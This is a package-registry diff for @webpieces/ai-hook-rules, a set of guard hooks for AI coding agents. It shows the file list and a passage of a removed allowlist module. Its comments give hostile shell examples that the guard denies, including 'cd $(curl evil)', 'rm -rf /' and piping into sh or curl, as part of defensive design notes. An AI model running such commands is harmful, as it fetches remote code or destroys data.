@webpieces/ai-hook-rules 0.4.839 → 0.4.841

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (390) hide show
  1. package/README.md +12 -140
  2. package/package.json +7 -15
  3. package/src/adapters/hook-app-fixtures.d.ts +1 -1
  4. package/src/adapters/hook-app-fixtures.js +0 -8
  5. package/src/adapters/hook-app-fixtures.js.map +1 -1
  6. package/src/adapters/hook-core.d.ts +1 -21
  7. package/src/adapters/hook-core.js +22 -341
  8. package/src/adapters/hook-core.js.map +1 -1
  9. package/src/core/load-rules.d.ts +4 -39
  10. package/src/core/load-rules.js +15 -127
  11. package/src/core/load-rules.js.map +1 -1
  12. package/src/core/rules/catch-error-pattern.d.ts +3 -3
  13. package/src/core/rules/catch-error-pattern.js +13 -13
  14. package/src/core/rules/catch-error-pattern.js.map +1 -1
  15. package/src/core/rules/index.d.ts +1 -14
  16. package/src/core/rules/index.js +1 -17
  17. package/src/core/rules/index.js.map +1 -1
  18. package/src/core/rules/match-rule.d.ts +3 -3
  19. package/src/core/rules/match-rule.js +6 -6
  20. package/src/core/rules/match-rule.js.map +1 -1
  21. package/src/core/rules/max-file-lines.d.ts +3 -3
  22. package/src/core/rules/max-file-lines.js +7 -7
  23. package/src/core/rules/max-file-lines.js.map +1 -1
  24. package/src/core/rules/no-any-unknown.d.ts +3 -3
  25. package/src/core/rules/no-any-unknown.js +6 -6
  26. package/src/core/rules/no-any-unknown.js.map +1 -1
  27. package/src/core/rules/no-custom-css.d.ts +3 -3
  28. package/src/core/rules/no-custom-css.js +7 -7
  29. package/src/core/rules/no-custom-css.js.map +1 -1
  30. package/src/core/rules/no-destructure.d.ts +3 -3
  31. package/src/core/rules/no-destructure.js +7 -7
  32. package/src/core/rules/no-destructure.js.map +1 -1
  33. package/src/core/rules/no-implicit-any.d.ts +3 -3
  34. package/src/core/rules/no-implicit-any.js +6 -6
  35. package/src/core/rules/no-implicit-any.js.map +1 -1
  36. package/src/core/rules/no-js-files.d.ts +3 -3
  37. package/src/core/rules/no-js-files.js +6 -6
  38. package/src/core/rules/no-js-files.js.map +1 -1
  39. package/src/core/rules/no-process-exit-outside-main.d.ts +3 -3
  40. package/src/core/rules/no-process-exit-outside-main.js +7 -7
  41. package/src/core/rules/no-process-exit-outside-main.js.map +1 -1
  42. package/src/core/rules/no-symbol-di-tokens.d.ts +3 -3
  43. package/src/core/rules/no-symbol-di-tokens.js +7 -7
  44. package/src/core/rules/no-symbol-di-tokens.js.map +1 -1
  45. package/src/core/rules/no-unmanaged-exceptions.d.ts +3 -3
  46. package/src/core/rules/no-unmanaged-exceptions.js +9 -9
  47. package/src/core/rules/no-unmanaged-exceptions.js.map +1 -1
  48. package/src/core/rules/require-return-type.d.ts +3 -3
  49. package/src/core/rules/require-return-type.js +6 -6
  50. package/src/core/rules/require-return-type.js.map +1 -1
  51. package/src/core/rules/throw-cause-required.d.ts +3 -3
  52. package/src/core/rules/throw-cause-required.js +9 -9
  53. package/src/core/rules/throw-cause-required.js.map +1 -1
  54. package/src/core/rules/validate-ts-in-src.d.ts +3 -3
  55. package/src/core/rules/validate-ts-in-src.js +7 -7
  56. package/src/core/rules/validate-ts-in-src.js.map +1 -1
  57. package/src/core/runner.d.ts +10 -19
  58. package/src/core/runner.js +24 -622
  59. package/src/core/runner.js.map +1 -1
  60. package/src/index.d.ts +2 -15
  61. package/src/index.js +4 -54
  62. package/src/index.js.map +1 -1
  63. package/openclaw.plugin.json +0 -15
  64. package/src/adapters/agent-adapters.d.ts +0 -13
  65. package/src/adapters/agent-adapters.js +0 -23
  66. package/src/adapters/agent-adapters.js.map +0 -1
  67. package/src/adapters/agent-payload.d.ts +0 -48
  68. package/src/adapters/agent-payload.js +0 -30
  69. package/src/adapters/agent-payload.js.map +0 -1
  70. package/src/adapters/agent-response.d.ts +0 -5
  71. package/src/adapters/agent-response.js +0 -86
  72. package/src/adapters/agent-response.js.map +0 -1
  73. package/src/adapters/claude-code-adapter.d.ts +0 -26
  74. package/src/adapters/claude-code-adapter.js +0 -69
  75. package/src/adapters/claude-code-adapter.js.map +0 -1
  76. package/src/adapters/codex-adapter.d.ts +0 -19
  77. package/src/adapters/codex-adapter.js +0 -48
  78. package/src/adapters/codex-adapter.js.map +0 -1
  79. package/src/adapters/codex-subagent-guard.d.ts +0 -45
  80. package/src/adapters/codex-subagent-guard.js +0 -88
  81. package/src/adapters/codex-subagent-guard.js.map +0 -1
  82. package/src/adapters/detect-ai.d.ts +0 -70
  83. package/src/adapters/detect-ai.js +0 -82
  84. package/src/adapters/detect-ai.js.map +0 -1
  85. package/src/adapters/guards-hook.d.ts +0 -3
  86. package/src/adapters/guards-hook.js +0 -30
  87. package/src/adapters/guards-hook.js.map +0 -1
  88. package/src/adapters/openclaw-plugin.d.ts +0 -14
  89. package/src/adapters/openclaw-plugin.js +0 -87
  90. package/src/adapters/openclaw-plugin.js.map +0 -1
  91. package/src/adapters/review-identity-stamper.d.ts +0 -20
  92. package/src/adapters/review-identity-stamper.js +0 -34
  93. package/src/adapters/review-identity-stamper.js.map +0 -1
  94. package/src/bin/codex-trust.d.ts +0 -105
  95. package/src/bin/codex-trust.js +0 -205
  96. package/src/bin/codex-trust.js.map +0 -1
  97. package/src/bin/dev-hook-install.d.ts +0 -1
  98. package/src/bin/dev-hook-install.js +0 -82
  99. package/src/bin/dev-hook-install.js.map +0 -1
  100. package/src/bin/dev-hook-uninstall.d.ts +0 -1
  101. package/src/bin/dev-hook-uninstall.js +0 -45
  102. package/src/bin/dev-hook-uninstall.js.map +0 -1
  103. package/src/bin/hook-registration.d.ts +0 -429
  104. package/src/bin/hook-registration.js +0 -661
  105. package/src/bin/hook-registration.js.map +0 -1
  106. package/src/bin/install-entry.d.ts +0 -19
  107. package/src/bin/install-entry.js +0 -128
  108. package/src/bin/install-entry.js.map +0 -1
  109. package/src/bin/l0-allowlist.d.ts +0 -49
  110. package/src/bin/l0-allowlist.js +0 -528
  111. package/src/bin/l0-allowlist.js.map +0 -1
  112. package/src/bin/l0-codex-read.d.ts +0 -21
  113. package/src/bin/l0-codex-read.js +0 -109
  114. package/src/bin/l0-codex-read.js.map +0 -1
  115. package/src/bin/l0-decide.d.ts +0 -50
  116. package/src/bin/l0-decide.js +0 -103
  117. package/src/bin/l0-decide.js.map +0 -1
  118. package/src/bin/l0-entry.d.ts +0 -103
  119. package/src/bin/l0-entry.js +0 -98
  120. package/src/bin/l0-entry.js.map +0 -1
  121. package/src/bin/l0-ignored-tools.d.ts +0 -38
  122. package/src/bin/l0-ignored-tools.js +0 -44
  123. package/src/bin/l0-ignored-tools.js.map +0 -1
  124. package/src/bin/managed-env.d.ts +0 -46
  125. package/src/bin/managed-env.js +0 -50
  126. package/src/bin/managed-env.js.map +0 -1
  127. package/src/bin/neighbour-hooks.d.ts +0 -42
  128. package/src/bin/neighbour-hooks.js +0 -177
  129. package/src/bin/neighbour-hooks.js.map +0 -1
  130. package/src/bin/reviewer-agent.d.ts +0 -19
  131. package/src/bin/reviewer-agent.js +0 -135
  132. package/src/bin/reviewer-agent.js.map +0 -1
  133. package/src/bin/settings-shape.d.ts +0 -37
  134. package/src/bin/settings-shape.js +0 -17
  135. package/src/bin/settings-shape.js.map +0 -1
  136. package/src/bin/setup-config.d.ts +0 -19
  137. package/src/bin/setup-config.js +0 -370
  138. package/src/bin/setup-config.js.map +0 -1
  139. package/src/bin/setup.d.ts +0 -78
  140. package/src/bin/setup.js +0 -400
  141. package/src/bin/setup.js.map +0 -1
  142. package/src/bin/shim-audit-log.d.ts +0 -119
  143. package/src/bin/shim-audit-log.js +0 -286
  144. package/src/bin/shim-audit-log.js.map +0 -1
  145. package/src/bin/shim-deny-reason.d.ts +0 -1
  146. package/src/bin/shim-deny-reason.js +0 -244
  147. package/src/bin/shim-deny-reason.js.map +0 -1
  148. package/src/bin/shim-drift-fix.d.ts +0 -1
  149. package/src/bin/shim-drift-fix.js +0 -72
  150. package/src/bin/shim-drift-fix.js.map +0 -1
  151. package/src/bin/shim-testkit.d.ts +0 -107
  152. package/src/bin/shim-testkit.js +0 -197
  153. package/src/bin/shim-testkit.js.map +0 -1
  154. package/src/bin/shim-version-drift.d.ts +0 -1
  155. package/src/bin/shim-version-drift.js +0 -164
  156. package/src/bin/shim-version-drift.js.map +0 -1
  157. package/src/bin/shim.d.ts +0 -16
  158. package/src/bin/shim.js +0 -636
  159. package/src/bin/shim.js.map +0 -1
  160. package/src/bin/upgrade-shim.d.ts +0 -18
  161. package/src/bin/upgrade-shim.js +0 -283
  162. package/src/bin/upgrade-shim.js.map +0 -1
  163. package/src/core/ai-type-context.d.ts +0 -36
  164. package/src/core/ai-type-context.js +0 -45
  165. package/src/core/ai-type-context.js.map +0 -1
  166. package/src/core/apply-patch-parse.d.ts +0 -36
  167. package/src/core/apply-patch-parse.js +0 -154
  168. package/src/core/apply-patch-parse.js.map +0 -1
  169. package/src/core/build-context.d.ts +0 -10
  170. package/src/core/build-context.js +0 -66
  171. package/src/core/build-context.js.map +0 -1
  172. package/src/core/command-scan.d.ts +0 -122
  173. package/src/core/command-scan.js +0 -282
  174. package/src/core/command-scan.js.map +0 -1
  175. package/src/core/custom-rule-adapter.d.ts +0 -22
  176. package/src/core/custom-rule-adapter.js +0 -50
  177. package/src/core/custom-rule-adapter.js.map +0 -1
  178. package/src/core/decision-log.d.ts +0 -190
  179. package/src/core/decision-log.js +0 -406
  180. package/src/core/decision-log.js.map +0 -1
  181. package/src/core/delete-scoped-rules.d.ts +0 -8
  182. package/src/core/delete-scoped-rules.js +0 -31
  183. package/src/core/delete-scoped-rules.js.map +0 -1
  184. package/src/core/disable-directives.d.ts +0 -8
  185. package/src/core/disable-directives.js +0 -80
  186. package/src/core/disable-directives.js.map +0 -1
  187. package/src/core/effective-tree.d.ts +0 -204
  188. package/src/core/effective-tree.js +0 -277
  189. package/src/core/effective-tree.js.map +0 -1
  190. package/src/core/excluded-path-escape.d.ts +0 -101
  191. package/src/core/excluded-path-escape.js +0 -236
  192. package/src/core/excluded-path-escape.js.map +0 -1
  193. package/src/core/excluded-paths.d.ts +0 -23
  194. package/src/core/excluded-paths.js +0 -54
  195. package/src/core/excluded-paths.js.map +0 -1
  196. package/src/core/fix-hint.d.ts +0 -40
  197. package/src/core/fix-hint.js +0 -53
  198. package/src/core/fix-hint.js.map +0 -1
  199. package/src/core/force-to-root.d.ts +0 -32
  200. package/src/core/force-to-root.js +0 -60
  201. package/src/core/force-to-root.js.map +0 -1
  202. package/src/core/guard-index-doc.d.ts +0 -63
  203. package/src/core/guard-index-doc.js +0 -172
  204. package/src/core/guard-index-doc.js.map +0 -1
  205. package/src/core/instruct-ai-writer.d.ts +0 -1
  206. package/src/core/instruct-ai-writer.js +0 -6
  207. package/src/core/instruct-ai-writer.js.map +0 -1
  208. package/src/core/l0-fault-codes.d.ts +0 -85
  209. package/src/core/l0-fault-codes.js +0 -121
  210. package/src/core/l0-fault-codes.js.map +0 -1
  211. package/src/core/l0-matrix.d.ts +0 -114
  212. package/src/core/l0-matrix.js +0 -416
  213. package/src/core/l0-matrix.js.map +0 -1
  214. package/src/core/l0-tooling-doc.d.ts +0 -45
  215. package/src/core/l0-tooling-doc.js +0 -258
  216. package/src/core/l0-tooling-doc.js.map +0 -1
  217. package/src/core/l1-doc.d.ts +0 -7
  218. package/src/core/l1-doc.js +0 -340
  219. package/src/core/l1-doc.js.map +0 -1
  220. package/src/core/l1-matrix-doc.d.ts +0 -31
  221. package/src/core/l1-matrix-doc.js +0 -111
  222. package/src/core/l1-matrix-doc.js.map +0 -1
  223. package/src/core/l1-rows.d.ts +0 -167
  224. package/src/core/l1-rows.js +0 -262
  225. package/src/core/l1-rows.js.map +0 -1
  226. package/src/core/l2-doc.d.ts +0 -7
  227. package/src/core/l2-doc.js +0 -385
  228. package/src/core/l2-doc.js.map +0 -1
  229. package/src/core/l2-matrix-doc.d.ts +0 -23
  230. package/src/core/l2-matrix-doc.js +0 -72
  231. package/src/core/l2-matrix-doc.js.map +0 -1
  232. package/src/core/l2-row.d.ts +0 -54
  233. package/src/core/l2-row.js +0 -75
  234. package/src/core/l2-row.js.map +0 -1
  235. package/src/core/l2-rows.d.ts +0 -56
  236. package/src/core/l2-rows.js +0 -272
  237. package/src/core/l2-rows.js.map +0 -1
  238. package/src/core/load-config.d.ts +0 -1
  239. package/src/core/load-config.js +0 -9
  240. package/src/core/load-config.js.map +0 -1
  241. package/src/core/log-stream.d.ts +0 -117
  242. package/src/core/log-stream.js +0 -156
  243. package/src/core/log-stream.js.map +0 -1
  244. package/src/core/log-streams.d.ts +0 -48
  245. package/src/core/log-streams.js +0 -55
  246. package/src/core/log-streams.js.map +0 -1
  247. package/src/core/log-target.d.ts +0 -21
  248. package/src/core/log-target.js +0 -29
  249. package/src/core/log-target.js.map +0 -1
  250. package/src/core/main-sync-log.d.ts +0 -16
  251. package/src/core/main-sync-log.js +0 -105
  252. package/src/core/main-sync-log.js.map +0 -1
  253. package/src/core/main-sync-refresh.d.ts +0 -39
  254. package/src/core/main-sync-refresh.js +0 -96
  255. package/src/core/main-sync-refresh.js.map +0 -1
  256. package/src/core/main-sync-timeout.d.ts +0 -32
  257. package/src/core/main-sync-timeout.js +0 -94
  258. package/src/core/main-sync-timeout.js.map +0 -1
  259. package/src/core/matrix-cures.d.ts +0 -12
  260. package/src/core/matrix-cures.js +0 -56
  261. package/src/core/matrix-cures.js.map +0 -1
  262. package/src/core/missing-directory.d.ts +0 -38
  263. package/src/core/missing-directory.js +0 -66
  264. package/src/core/missing-directory.js.map +0 -1
  265. package/src/core/read-only-inspection.d.ts +0 -34
  266. package/src/core/read-only-inspection.js +0 -88
  267. package/src/core/read-only-inspection.js.map +0 -1
  268. package/src/core/rejection-log.d.ts +0 -9
  269. package/src/core/rejection-log.js +0 -258
  270. package/src/core/rejection-log.js.map +0 -1
  271. package/src/core/report.d.ts +0 -21
  272. package/src/core/report.js +0 -73
  273. package/src/core/report.js.map +0 -1
  274. package/src/core/rule-base.d.ts +0 -39
  275. package/src/core/rule-base.js +0 -36
  276. package/src/core/rule-base.js.map +0 -1
  277. package/src/core/rules/branch-creation-guard.d.ts +0 -113
  278. package/src/core/rules/branch-creation-guard.js +0 -422
  279. package/src/core/rules/branch-creation-guard.js.map +0 -1
  280. package/src/core/rules/branch-switch-scan.d.ts +0 -43
  281. package/src/core/rules/branch-switch-scan.js +0 -132
  282. package/src/core/rules/branch-switch-scan.js.map +0 -1
  283. package/src/core/rules/build-output-pipe-guard.d.ts +0 -56
  284. package/src/core/rules/build-output-pipe-guard.js +0 -120
  285. package/src/core/rules/build-output-pipe-guard.js.map +0 -1
  286. package/src/core/rules/build-output-pipe-scan.d.ts +0 -47
  287. package/src/core/rules/build-output-pipe-scan.js +0 -84
  288. package/src/core/rules/build-output-pipe-scan.js.map +0 -1
  289. package/src/core/rules/cap-remedies.d.ts +0 -39
  290. package/src/core/rules/cap-remedies.js +0 -59
  291. package/src/core/rules/cap-remedies.js.map +0 -1
  292. package/src/core/rules/commit-message-substitution-guard.d.ts +0 -72
  293. package/src/core/rules/commit-message-substitution-guard.js +0 -134
  294. package/src/core/rules/commit-message-substitution-guard.js.map +0 -1
  295. package/src/core/rules/commit-message-substitution-scan.d.ts +0 -42
  296. package/src/core/rules/commit-message-substitution-scan.js +0 -145
  297. package/src/core/rules/commit-message-substitution-scan.js.map +0 -1
  298. package/src/core/rules/content-read-scan.d.ts +0 -76
  299. package/src/core/rules/content-read-scan.js +0 -176
  300. package/src/core/rules/content-read-scan.js.map +0 -1
  301. package/src/core/rules/cure-prefix-scan.d.ts +0 -64
  302. package/src/core/rules/cure-prefix-scan.js +0 -133
  303. package/src/core/rules/cure-prefix-scan.js.map +0 -1
  304. package/src/core/rules/feature-branch-guard.d.ts +0 -121
  305. package/src/core/rules/feature-branch-guard.js +0 -326
  306. package/src/core/rules/feature-branch-guard.js.map +0 -1
  307. package/src/core/rules/judged-tree.d.ts +0 -66
  308. package/src/core/rules/judged-tree.js +0 -97
  309. package/src/core/rules/judged-tree.js.map +0 -1
  310. package/src/core/rules/main-freshness.d.ts +0 -37
  311. package/src/core/rules/main-freshness.js +0 -61
  312. package/src/core/rules/main-freshness.js.map +0 -1
  313. package/src/core/rules/merge-in-progress-guard.d.ts +0 -17
  314. package/src/core/rules/merge-in-progress-guard.js +0 -122
  315. package/src/core/rules/merge-in-progress-guard.js.map +0 -1
  316. package/src/core/rules/merged-branch-bash-guard.d.ts +0 -62
  317. package/src/core/rules/merged-branch-bash-guard.js +0 -170
  318. package/src/core/rules/merged-branch-bash-guard.js.map +0 -1
  319. package/src/core/rules/merged-branch-message.d.ts +0 -59
  320. package/src/core/rules/merged-branch-message.js +0 -137
  321. package/src/core/rules/merged-branch-message.js.map +0 -1
  322. package/src/core/rules/pr-creation-or-push-guard.d.ts +0 -26
  323. package/src/core/rules/pr-creation-or-push-guard.js +0 -146
  324. package/src/core/rules/pr-creation-or-push-guard.js.map +0 -1
  325. package/src/core/rules/pr-merge-guard.d.ts +0 -36
  326. package/src/core/rules/pr-merge-guard.js +0 -86
  327. package/src/core/rules/pr-merge-guard.js.map +0 -1
  328. package/src/core/rules/read-stale-guard.d.ts +0 -136
  329. package/src/core/rules/read-stale-guard.js +0 -326
  330. package/src/core/rules/read-stale-guard.js.map +0 -1
  331. package/src/core/rules/recovery-allowlist.d.ts +0 -49
  332. package/src/core/rules/recovery-allowlist.js +0 -187
  333. package/src/core/rules/recovery-allowlist.js.map +0 -1
  334. package/src/core/rules/redirect-how-to-merge-main.d.ts +0 -16
  335. package/src/core/rules/redirect-how-to-merge-main.js +0 -157
  336. package/src/core/rules/redirect-how-to-merge-main.js.map +0 -1
  337. package/src/core/rules/shell-segment-scan.d.ts +0 -64
  338. package/src/core/rules/shell-segment-scan.js +0 -88
  339. package/src/core/rules/shell-segment-scan.js.map +0 -1
  340. package/src/core/rules/stale-main-bash-guard.d.ts +0 -198
  341. package/src/core/rules/stale-main-bash-guard.js +0 -361
  342. package/src/core/rules/stale-main-bash-guard.js.map +0 -1
  343. package/src/core/rules/stale-main-message.d.ts +0 -62
  344. package/src/core/rules/stale-main-message.js +0 -102
  345. package/src/core/rules/stale-main-message.js.map +0 -1
  346. package/src/core/rules/tree-recovery.d.ts +0 -92
  347. package/src/core/rules/tree-recovery.js +0 -165
  348. package/src/core/rules/tree-recovery.js.map +0 -1
  349. package/src/core/rules/wait-spin-guard.d.ts +0 -128
  350. package/src/core/rules/wait-spin-guard.js +0 -211
  351. package/src/core/rules/wait-spin-guard.js.map +0 -1
  352. package/src/core/rules/wait-spin-scan.d.ts +0 -118
  353. package/src/core/rules/wait-spin-scan.js +0 -203
  354. package/src/core/rules/wait-spin-scan.js.map +0 -1
  355. package/src/core/rules/whole-repo-build-guard.d.ts +0 -125
  356. package/src/core/rules/whole-repo-build-guard.js +0 -257
  357. package/src/core/rules/whole-repo-build-guard.js.map +0 -1
  358. package/src/core/rules/whole-repo-build-scan.d.ts +0 -28
  359. package/src/core/rules/whole-repo-build-scan.js +0 -198
  360. package/src/core/rules/whole-repo-build-scan.js.map +0 -1
  361. package/src/core/session-call-history.d.ts +0 -44
  362. package/src/core/session-call-history.js +0 -79
  363. package/src/core/session-call-history.js.map +0 -1
  364. package/src/core/shell-read-parity.d.ts +0 -56
  365. package/src/core/shell-read-parity.js +0 -155
  366. package/src/core/shell-read-parity.js.map +0 -1
  367. package/src/core/strip-ts-noise.d.ts +0 -1
  368. package/src/core/strip-ts-noise.js +0 -185
  369. package/src/core/strip-ts-noise.js.map +0 -1
  370. package/src/core/sync-main.d.ts +0 -46
  371. package/src/core/sync-main.js +0 -175
  372. package/src/core/sync-main.js.map +0 -1
  373. package/src/core/target-tree.d.ts +0 -84
  374. package/src/core/target-tree.js +0 -148
  375. package/src/core/target-tree.js.map +0 -1
  376. package/src/core/to-error.d.ts +0 -5
  377. package/src/core/to-error.js +0 -37
  378. package/src/core/to-error.js.map +0 -1
  379. package/src/core/types.d.ts +0 -152
  380. package/src/core/types.js +0 -200
  381. package/src/core/types.js.map +0 -1
  382. package/src/core/version-sync.d.ts +0 -219
  383. package/src/core/version-sync.js +0 -558
  384. package/src/core/version-sync.js.map +0 -1
  385. package/src/core/webpieces-versions.d.ts +0 -98
  386. package/src/core/webpieces-versions.js +0 -206
  387. package/src/core/webpieces-versions.js.map +0 -1
  388. package/templates/ai-hook.sh +0 -497
  389. package/templates/claude-settings-hook.json +0 -28
  390. package/templates/webpieces-reviewer.md +0 -60
@@ -1,528 +0,0 @@
1
- "use strict";
2
- Object.defineProperty(exports, "__esModule", { value: true });
3
- exports.L0_CURE_ALLOW_JS = exports.L0_ALLOW_JS = exports.L0_ALLOW_ERE_SH = exports.L0_ALLOW_ERE = exports.L0_ALLOWLIST = exports.INSTALL_HOOKS_TARGET_CMD = exports.INSTALL_HOOKS_CMD = exports.ORIENT_CMD = exports.ORIENT_ALLOW_JS = exports.ORIENT_ALLOW_ERE = exports.ADD_HOOK_PKG_CMD = exports.HOOK_PKG = exports.ADD_HOOK_PKG_ALLOW_JS = exports.ADD_HOOK_PKG_ALLOW_ERE = exports.INSTALL_HOOKS_ALLOW_JS = exports.INSTALL_HOOKS_ALLOW_ERE = exports.RESTORE_SHIM_CMD = exports.RESTORE_SHIM_ALLOW_JS = exports.RESTORE_SHIM_ALLOW_ERE = exports.UPGRADE_SHIM_CMD = exports.UPGRADE_SHIM_ALLOW_JS = exports.UPGRADE_SHIM_ALLOW_ERE = exports.CHECKOUT_MAIN_PULL_CMD = exports.CHECKOUT_MAIN_PULL_ALLOW_JS = exports.CHECKOUT_MAIN_PULL_ALLOW_ERE = exports.FETCH_ALLOW_JS = exports.FETCH_ALLOW_ERE = exports.RECOVERY_CMD = exports.RECOVERY_ALLOW_JS = exports.RECOVERY_ALLOW_ERE = exports.INSTALLER_ALLOW_JS = exports.INSTALLER_ALLOW_ERE = exports.CD_PREFIX_JS_SRC = exports.CD_PREFIX_ERE = exports.CAPTURE_TAIL_JS_SRC = exports.CAPTURE_TAIL_ERE = exports.MANIFEST_FILENAMES = exports.PACKAGE_MANIFEST = exports.WORKSPACE_MANIFEST = void 0;
4
- const rules_config_1 = require("@webpieces/rules-config");
5
- // The shape of ONE entry, in its own module so the LIST below is not crowded out by the types that
6
- // describe it. `./shim` stars both, so consumers see no seam.
7
- const l0_entry_1 = require("./l0-entry");
8
- // The harness-GATED half of L0, in its own module for the same size reason this one was split out of
9
- // ./shim. It owns the read-shaped vocabulary AND the union built from it; this file owns the entry
10
- // that puts it on the list, so the dependency runs one way and there is no cycle.
11
- const l0_codex_read_1 = require("./l0-codex-read");
12
- const shell_read_parity_1 = require("../core/shell-read-parity");
13
- // The tool-shaped half of the same list, in its own module so BOTH L0 halves can read it without
14
- // importing each other. NOT re-exported from here — `./shim` is the ONE name that gathers L0 (it stars
15
- // all three modules), and a second path to the same constant is a second spelling.
16
- const l0_ignored_tools_1 = require("./l0-ignored-tools");
17
- // The two MANIFESTS a version pin lives in, named once so the allowlist, isAllowed(), the rendered shim
18
- // and the runner cannot drift into four spellings. See isRootManifest: a tree ROOT's copy of these only.
19
- exports.WORKSPACE_MANIFEST = 'pnpm-workspace.yaml';
20
- exports.PACKAGE_MANIFEST = 'package.json';
21
- exports.MANIFEST_FILENAMES = new Set([exports.WORKSPACE_MANIFEST, exports.PACKAGE_MANIFEST]);
22
- // ---------------------------------------------------------------------------
23
- // THE L0 ALLOWLIST — the vocabulary (the named cure patterns, each an ERE+JS twin pair), the ONE union
24
- // every L0 fault consults, and isAllowed(), the single question sh and JS both ask.
25
- //
26
- // Split out of ./shim.ts purely for size (the shim module also renders the shim body). shim.ts
27
- // re-exports everything here, so every existing import keeps working, and this module stays as
28
- // dependency-free as shim.ts must be: it has to load on a tree too broken to load the rule engine.
29
- // ---------------------------------------------------------------------------
30
- // The OUTPUT-CAPTURE TAIL every escape hatch below tolerates — the 2026-07-21 deadlock report, part 2.
31
- // Every allowlist was anchored to a BARE command, but the way an AI assistant actually spells a
32
- // diagnostic command is `<cmd> 2>&1 | tail -20` (it trims the output it has to read back). The audit
33
- // log proves it: `.webpieces/logs/L0-shim/<writer>.log` has `pnpm install 2>&1 | tail -15` logged as
34
- // DENY-STALE seconds away from a bare `pnpm install` logged as ALLOW-INSTALL — the same cure, denied
35
- // for its redirection. A cure that is denied when spelled the natural way reads to the assistant as
36
- // "the guard blocks its own fix", which is exactly the conclusion it drew before handing the fix back
37
- // to the human.
38
- //
39
- // So each hatch accepts an OPTIONAL trailing stderr redirect (`2>&1` to fold stderr in, or `2>/dev/null`
40
- // to drop it — I hit the missing `2>/dev/null` case myself within the hour, running `pnpm install
41
- // 2>/dev/null | tail -2` against a drift block) and an OPTIONAL pipe into `tail`/`head` carrying at
42
- // most a line-count flag (`-20`, `-n 20`). Nothing else: the pipe target is one of two literal,
43
- // read-only pager words and its only argument is digits, so `| sh`, `| curl …`, `| tee /etc/x` and
44
- // every other operator stay DENIED. Spliced in place of each pattern's old `[[:space:]]*$` tail, so the
45
- // anchoring at both ends is unchanged. Keep in sync with CAPTURE_TAIL_JS_SRC (locked by a unit test).
46
- exports.CAPTURE_TAIL_ERE = '([[:space:]]+2>(&1|/dev/null))?([[:space:]]*\\|[[:space:]]*(tail|head)([[:space:]]+-(n[[:space:]]+)?[0-9]+)?)?[[:space:]]*$';
47
- // JS-regex-source twin of CAPTURE_TAIL_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
48
- exports.CAPTURE_TAIL_JS_SRC = '(\\s+2>(&1|\\/dev\\/null))?(\\s*\\|\\s*(tail|head)(\\s+-(n\\s+)?[0-9]+)?)?\\s*$';
49
- // The DIRECTORY PREFIX every escape hatch tolerates — the 2026-07-30 worktree deadlock.
50
- //
51
- // The harness RESETS a cwd that left the workspace — a standalone `cd <worktree>` followed by `pwd` in
52
- // the next call reports the primary clone again, and the harness prints `Shell cwd was reset to <root>`
53
- // when it happens. So an agent working in a linked worktree can only reach that tree with a
54
- // self-contained `cd <worktree> && …`. (A `cd` that STAYS inside the workspace persists instead, so
55
- // "cd never persists" — which this comment used to assert — is the worktree case over-generalized.)
56
- // The drift guard demanded a BARE `pnpm install`
57
- // ("do NOT put a cd in front of it") while the install was needed in the worktree — the cure was
58
- // literally untypable from the place that needed it, and a bare `cd <worktree>` was itself blocked.
59
- //
60
- // A leading `cd <path> &&` cannot change what the command does to a repo, so it is not a safety
61
- // concern; and this stays as un-smuggleable as the rest of the hatch, because the path token accepts
62
- // only path characters — no whitespace, no quote, no `$`, no backtick, and no shell operator. So
63
- // `cd /x && pnpm install` passes while `cd $(curl evil) && pnpm install`, `cd /x; rm -rf /` and
64
- // `cd /x && pnpm install && rm -rf /` all still FAIL CLOSED.
65
- //
66
- // SPACES IN THE REPO PATH (2026-08-02). The bare token above admits no whitespace, so on a machine
67
- // whose checkout lives under `/Users/dean hiller/…`, "Google Drive", "My Documents" or an iCloud path,
68
- // the `cd` prefix was UNREACHABLE — every L0 escape hatch was untypable from a linked worktree, which
69
- // is the exact deadlock class the prefix was added to prevent. And `atRoot()` emitted the remedy
70
- // unquoted, so what the guard PRESCRIBED was already broken shell before any allowlist saw it.
71
- //
72
- // The cure is a SINGLE-QUOTED alternative, `'[^']+'`, and the single quotes ARE the security argument:
73
- // inside single quotes sh performs NO expansion whatsoever — `$(…)`, backticks, `$VAR`, `&&`, `;`, `|`
74
- // are all literal characters of the path — and the ONLY character that can end the quoted region is the
75
- // one the character class excludes. So the pattern is un-smuggleable BY CONSTRUCTION, with no cleverness
76
- // required: `cd '/Users/dean hiller/repo' && pnpm install` passes, and `cd '$(curl evil)' && pnpm
77
- // install` matches but is INERT (sh cds to a directory literally named `$(curl evil)`, which does not
78
- // exist, and `&&` short-circuits — nothing is fetched and nothing is executed).
79
- //
80
- // DOUBLE quotes are deliberately NOT accepted: `$` and backticks still expand inside them, so
81
- // `cd "$(curl evil)" && pnpm install` would be a real command substitution. It stays DENIED, as does
82
- // `cd "/Users/dean hiller/repo" && pnpm install` — the quote character itself is outside both branches.
83
- // Keep in sync with CD_PREFIX_JS_SRC (locked by a unit test).
84
- exports.CD_PREFIX_ERE = "(cd[[:space:]]+([A-Za-z0-9._/@~+-]+|'[^']+')[[:space:]]*&&[[:space:]]*)?";
85
- // JS-regex-source twin of CD_PREFIX_ERE (POSIX `[[:space:]]` → `\s`). A unit test asserts they agree.
86
- exports.CD_PREFIX_JS_SRC = "(cd\\s+([A-Za-z0-9._\\/@~+-]+|'[^']+')\\s*&&\\s*)?";
87
- // Every hatch below starts with the anchor + the optional `cd` prefix. Spliced in place of each
88
- // pattern's old bare `^`, so the anchoring at both ends is unchanged.
89
- const CD_PREFIX_ERE_ANCHORED = '^' + exports.CD_PREFIX_ERE;
90
- const CD_PREFIX_JS_ANCHORED = '^' + exports.CD_PREFIX_JS_SRC;
91
- // Package-manager install commands allowed to pass the fail-closed shim so the assistant can
92
- // self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks
93
- // the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).
94
- //
95
- // What's allowed (the realistic self-heal spellings — an earlier version only matched a bare
96
- // `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):
97
- // - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT
98
- // yarn — this repo installs with pnpm/npm only, so yarn stays denied.)
99
- // - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)
100
